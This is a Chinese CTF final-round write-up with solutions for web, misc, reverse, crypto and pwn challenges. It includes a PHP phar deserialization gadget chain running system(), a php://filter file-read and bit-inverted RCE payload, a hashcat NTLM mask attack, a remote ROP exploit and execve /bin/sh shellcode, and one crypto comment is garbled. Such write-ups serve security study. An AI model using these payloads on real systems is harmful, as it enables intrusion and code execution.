2023年某省网络安全挑战赛-社会组 决赛 WriteUp
web
justUpload
phar反序列化。
<?php
class Base{}
class Stream{}
class Mock{}
$a = new Base();
$a->dataReader = new Stream();
$m = new Mock();
$m->mockName = "aa";
$m->classCode = "system('calc');";
$a->dataReader->closes = array($m, "generate");
//echo urlencode(serialize($a));
$phar = new Phar("app.phar");
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER();?>");
$phar -> setMetadata($a);
$phar -> addFromString("test.txt","test");
$phar -> stopBuffering();
//http://localhost/index.php?filename=phar://tmp/265ac36f15b9230316ccb0e6806a8031.gif/test.txt
Try_php-v2
发送post请求.
POST /?username=2022&a=php://input&file=php://filter/read=convert.base64-encode/resource=fff.php
// body中填写
this is so easy
获得到 ZmxhZyBpcyBoZXJlICAgLi9mbDRhNGFzZGprZy5waHANCg== .
解码得到 flag is here ./fl4a4asdjkg.php
然后使用反码绕过进行rce.
(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%9E%98%98);
misc
easylog
提取所有 flag相关的行.和699是成功语句...提取出来 ...然后找出每个提取索引的最大值 ...+1为正确的数据 .
提取后发现 504b0304, 确认为压缩包.
在access.log上面的base64中能找到密码.
解压得到flag
内存取证
提取 cmdscan得到 echo Smart
提取 文件列表发现 flag.rar. 用命令提取失败.看题目提示说是插件不能提取.改为手动提取.010 editor 搜索 Rar! 手动提取rar.
解压得到flag1.txt flag2.txt.
flag1:《猫和老鼠》中某个动漫角色的名字 (同时也是Windows系统的用户名) Tom
flag2: flag1中Windows用户名的密码 (也许需要使用工具爆破)
flag3: Windows最常用的命令提示符 (使用者不小心在键盘输入了一些内容) Smart
part1 用户名根据文件路径可得.Tom.
直接爆破得到 中间的密码部分.
根据提示写出命令参数.
flag2的密码一共8位
大写英文:第一位,第三位,第五位
小写英文:第二位,第六位,第八位
0-9数字:第四位
hashcat.exe -m 1000 -a 3 cbdbf7ae725a3fb066bc4ed51d0d1b8d --increment --increment-min 1 --increment-max 8 ?u?l?u?d?u?l?s?u --force
得到全部flag的3部分.
YSKM:
过滤FTP协议,从0开始将每位读取
哇海贼王
查看图片属性
用010打开jpg
得到flag1的解压密码
flag2为小文件crc32位爆破,得到36张图片,拼接得到flag
re
Stay At Your House
去花指令.看一下.直接z3脚本.
"""
v4 = Destination[i] ^ 0x27;
v5 = Destination[i + 18];
v6 = Destination[i + 9] ^ 0x11;
Destination[i] = v4;
v7 = v5 ^ 0x16;
Destination[i + 9] = v6;
Destination[i + 18] = v7;
if ( v4 != Str[v3] || v6 != Str[v3 + 8] || v7 != Str[v3 + 16] )
break;
"""
from natsort import natsorted
from z3 import *
enc = bytearray.fromhex("356366746473615C5000797065757E687E6400617778787772796B00")
s = [BitVec('s1_%d' % i, 8) for i in range(36)] # 有时得用int值好使
solver = Solver()
for i in range(1, 8):
v4 = enc[i] ^ 0x27
v5 = enc[i + 18]
v6 = enc[i + 9] ^ 0x11
enc[i] = v4
v7 = v5 ^ 0x16
enc[i + 9] = v6
enc[i + 18] = v7
solver.add(v4 == s[i])
solver.add(v6 == s[i+8])
solver.add(v7 == s[i+16])
print(solver.check())
res = solver.model()
# lst = natsorted([(k, res[k]) for k in res], key=lambda x: x)
lst = natsorted([(k, res[k]) for k in res], lambda x: str(x[0]))
for k, v in lst:
print(chr(v.as_long()), end='')
# 看结果不全,手动补补全成 whatdoyouwannado
my_asm
直接读汇编.写脚本.
"""
'DASCTF{????????????????}',0 24-8 = 16
长cmp 0x18
i =0
取si值
左移4 00011111 11110000 取低位
入栈
右移4 00011111 11110000 取高位
入栈
(高位给 bx + 高位ax ) 0x66 == enc[i]
"""
enc = bytearray.fromhex("227253522302D1155570E5705000654045505575753020B1")
for i in range(24):
rc = enc[i] ^ 0x66
r = ((rc >> 4) | (rc << 4)) & 0xff
print(chr(r), end='')
sleep
from ctypes import *
from tqdm import trange
enc = bytearray.fromhex('FAD57CB8BAC641CE9ADABDFE9445EB0B180A6F9DEE9D74517F768847C84ACD041A63726DA8741BA4E0A5')
flag = b'DASCTF'
#
# for a, b in zip(enc, flag):
# print(f'{a ^ b:02X}', end=',')
# print('') # BE,94,2F,FB,EE,80,
#
#
# for seed in trange(1, 0x1000000):
# cdll.msvcrt.srand(seed)
# rand = cdll.msvcrt.rand
# if (rand() & 0xff) == 0xbe:
# if (rand() & 0xff) == 0x94:
# if (rand() & 0xff) == 0x2f:
# print(seed)
# break
seed = 6770026
cdll.msvcrt.srand(seed)
rand = cdll.msvcrt.rand
for c in enc:
print(chr(c ^ rand() & 0xff), end='')
# DASCTF{i_want_to_sleep_and_get_the_happy!}
crypto
又找到个 wp https://dexterjie.github.io/2023/09/17/赛题复现/黑龙江省赛/
ezrsa
爆破e1,e2
# 解题思路: 题中e=3相对于n,c来说极小,故可知是低加密指数攻击。
# ①当 m^3<n 时, c=m^3,直接将c开三次方即可得到m
# ②当 m^3>n 时, c=m^3−i∗n,只要找到i,使得c+in能够开三次方即可得到m。当m^3>n时,c=m^3-i*n,只要找到i,使得c+in能够开三次方即可得到m。当m
# 3
# >n时,c=m
# 3
# −i∗n,只要找到i,使得c+in能够开三次方即可得到m。
import gmpy2
def get_m(n, e, c):
for i in range(300000000):
if gmpy2.iroot(c + n * i, e)[1] == 1:
res = gmpy2.iroot(c + n * i, e)[0]
c_tmp = pow(res, e, n)
if c_tmp == c:
return res
if __name__ == "__main__":
n = 27929259512873502442719286790227037320417984116570178470037376373267390909685621247157535458203218619293705428397911754453556082799420494496904478215709219317542924547049229150153308059698341011305505985823374280465467094476511869541135508518055946815227085548571701115773386101962695795789178321155174729047033298389886321980592410739667139376075568555729949442873964097042006391886635957242436522435588904492484342259494858627609438654632887244523845583473711604632109405043439047289868784236481926074763997559971182741918345193506253460323445846136663027639802131457594564405906763806426256107923417802076262573737
e = 3
c = 24979839185643431898760549059477070141596292955202172081572583839065034831779499992829742773873064296311713734486020739853343887094398935731264
e1 = get_m(n, e, c)
print(f'e1:{e1}')
c = 2838620519239658396968146844964839207179863729944843241951228382052657801460586137213053314019699976475855578055607417923815486109050614096157077528657405905877896929808094661904905136761365045387901486261011216958309860644255996588189249
e = 5
e2 = get_m(n, e, c)
print(f'e2:{e2}')
# e1 = 292323151911347332771032430278192238495776654404
# e2 = 309472075496352460195080589988059925393711382849
共模
import gmpy2
import binascii
n = 27929259512873502442719286790227037320417984116570178470037376373267390909685621247157535458203218619293705428397911754453556082799420494496904478215709219317542924547049229150153308059698341011305505985823374280465467094476511869541135508518055946815227085548571701115773386101962695795789178321155174729047033298389886321980592410739667139376075568555729949442873964097042006391886635957242436522435588904492484342259494858627609438654632887244523845583473711604632109405043439047289868784236481926074763997559971182741918345193506253460323445846136663027639802131457594564405906763806426256107923417802076262573737
c1 = 17695186679431856780362905635257355413310120106982055323913669124182832151093921194946365178919380690844190324897933591567360925332869903671651849060145290581360223200011298757871213149464298017718829480721410479504940393501845624196721013966839230696831321482946841011452400364600924503121451272593970649100410603943321149604376033957124800064565646929720179239631538966228020882733213221035707244692798307971636126058586394357032072695921642665492919186476321028415907982915011972040971875733852055633796811898421692604356476773910338982400925245494707729878821466569634334862311750349321720627252469986162120031838
c2 = 10770781309274554738409447671578241895686779262243081931452089039730277591151694112684863740412412713684216227740930573490322958500198235497947657939304932868457999239593145330718657422535271157683896034543125292529800047408131765376686654378173684648427311300423776510153307756388404568013401217965931456538849277670384454454507752525534110389604969437991055504757081225690155489265359117617764571537216746554060783131168749700810806387918510612057149583061938836035963175555630655718716139689761210220525955656039741684390906935720406757364893793459339618913268943282961044530062475057887777134887741597041684698119
e1 = 34967
e2 = 65535
assert gmpy2.gcd(e1, e2) == 1
s = gmpy2.gcdext(e1,e2)
m1 = gmpy2.powmod(c1,s[1],n)
m2 = gmpy2.powmod(c2,s[2],n)
m = (m1*m2)%n
print(binascii.unhexlify(hex(m)[2:]))
# method
def common_modulus(n, c1, e1, c2, e2):
s = gmpy2.gcdext(e1, e2)
m1 = gmpy2.powmod(c1, s[1], n)
m2 = gmpy2.powmod(c2, s[2], n)
m = (m1 * m2) % n
unhexlify = binascii.unhexlify(hex(m)[2:])
print(unhexlify)
return unhexlify
b'DASCTF{afd2eabdb2be11eda3a094085339ce84}'
逆向思维
各两位转为HEX,再转BASE64
a1 = b'\x8e\xeb\x2d\xfb\x89\xf4\xb6\x17\xab\xf9\xb6\xac\x7b\xae\x3e\xe2\x77\x7e\x85\xec\x7e\x85\xa8\x5a'
a1=base64.b64encode(c1)
just+4n0ther+base64+4nd+hex+haha
easycrypto
转自 https://blog.csdn.net/luochen2436/article/details/132964576
p高位泄露256bit,但是泄露的bit不够,我们还需要爆破8bit才能copper恢复p。
from tqdm import *
n = 135133139540786818977969958456509467902948924003478556140490841984247464940261764739984274397650928404945721248284577232814352745333641188749824519153271662051302477973525156608141358709265683759057060630360909926255299541198485901065352661702656282587105799982740927802530997159098015074633017964344230291287
p_high = 115314121469787984258489158421056136177545051135641551928888818017665807264468
c = 1836794759996264077871820946090708779709415760553736759453665641907562256633157424959089180650539327925671892742819931875681606982615287882656254828326465758462357812873839261469783652663796071814218493268788421243190729887313099383264588659922912876424206670310928514588754069909128149471326084547056385690037197908766053620702238356084124023146075698878494434053246157524775269473152458661801907641122308756667762880284617915774590075511686821816948174618196839335059944389423693187930672934293905608970421003536691336581450927887931599275461176935079227494931457562345640133982771901848553204154760760399724074615092290799119053032875792219794072963200108352944441876206386518960615891547166767499506114294860833404421893612197040731184031783165365621722947731966143226777081983415797778111715332055871302609049501876860012070502369090417942239749695034267695710324328867728296996779
pbits=512
for i in trange(2**8,1,-1):
p4 = p_high<<8
p4 = p4 + i
kbits = pbits - p4.nbits()
p4 = p4 << kbits
PR.<x> = PolynomialRing(Zmod(n))
f = x + p4
roots = f.small_roots(X=2^kbits, beta=0.4, epsilon=0.01)
if roots:
p = p4+int(roots[0])
if n%p==0:
print(i,p)
break
#i = 197,p = 13352463043552409670211183534740157814546713901105410408023687926498813469217507846107364405269402732967687839808637375591530105677153038557366731161035343
计算得到P,接着多项式展开
多项式展开公式。
import gmpy2
from Crypto.Util.number import *
n = 135133139540786818977969958456509467902948924003478556140490841984247464940261764739984274397650928404945721248284577232814352745333641188749824519153271662051302477973525156608141358709265683759057060630360909926255299541198485901065352661702656282587105799982740927802530997159098015074633017964344230291287
c = 1836794759996264077871820946090708779709415760553736759453665641907562256633157424959089180650539327925671892742819931875681606982615287882656254828326465758462357812873839261469783652663796071814218493268788421243190729887313099383264588659922912876424206670310928514588754069909128149471326084547056385690037197908766053620702238356084124023146075698878494434053246157524775269473152458661801907641122308756667762880284617915774590075511686821816948174618196839335059944389423693187930672934293905608970421003536691336581450927887931599275461176935079227494931457562345640133982771901848553204154760760399724074615092290799119053032875792219794072963200108352944441876206386518960615891547166767499506114294860833404421893612197040731184031783165365621722947731966143226777081983415797778111715332055871302609049501876860012070502369090417942239749695034267695710324328867728296996779
p = 13352463043552409670211183534740157814546713901105410408023687926498813469217507846107364405269402732967687839808637375591530105677153038557366731161035343
q = n//p
P = (p - q) & ((1 << 130) - 1)
m = (c-1)//n*gmpy2.invert(P,n) % n
flag = long_to_bytes(m)
print(flag)
#DASCTF{365d0d2cda3a3836a19bf1f46760d875}
pwn
mercedes
from pwn import *
# o = process("./mercedes")
remote_addr = "10.1.100.15"
s = remote(remote_addr, 9999)
elf = ELF("mercedes")
system_addr = elf.plt["system"]
pop_rdi = 0x0000000000400983
ret = 0x000000000040091E
info = 0x00000601090
s.sendline("$0")
payload = b"a" * 40 + p64(pop_rdi) + p64(info) + p64(ret) + p64(system_addr)
s.sendline(payload)
s.interactive()
# 输入 exec 1>&2
# tac flag
strange_shellcode
call rax 时寄存器状态
*RAX 0x10000 ◂— pop rax
*RBX 0x55e91f638430 ◂— endbr64
*RCX 0x4
*RDX 0x10
*RDI 0x55e91f639004 ◂— 'Plz give me a gift, thx u ^_^'
*RSI 0x1000f ◂— add eax, 0
*R8 0x2
R9 0x0
*R10 0x22
*R11 0x246
*R12 0x55e91f638120 ◂— endbr64
*R13 0x7ffd296537d0 ◂— 0x1
R14 0x0
R15 0x0
*RBP 0x7ffd296536e0 ◂— 0x0
*RSP 0x7ffd296536d0 ◂— 0x1000000010
*RIP 0x55e91f63841c ◂— call rax
from pwn import *
binary = './pwn'
elf = ELF(binary)
warnings.filterwarnings("ignore", category=BytesWarning)
context(log_level='debug', arch=elf.arch, os='linux', binary=binary)
s = process()
# s = gdb.debug(binary, 'b*$rebase(0x0141C)\nc') # type:process
sc = b''
tmp = '''
pop rax
pop rax
pop rdx
pop rax
push rax
pop rdi
push rax
'''
sc += asm(tmp) # 7 + 4 = 11
print(len(sc))
sc_len = 16 - len(sc) - 2
sc += b'\x04\x05' * (sc_len // 2) # junk
sc += asm('pop rax')
sc += b'\x0f\x05'
payload = sc + b'g' * (16 - len(sc))
s.sendafter('hing :', payload)
shellcode_x64 = b'\x90' + b'\x48\xB8\x2F\x62\x69\x6E\x2F\x73\x68\x00\x50\x54\x5F\x31\xF6\x31\xD2\x6A\x3B\x58\x0F\x05 '
s.sendline(shellcode_x64)
s.interactive()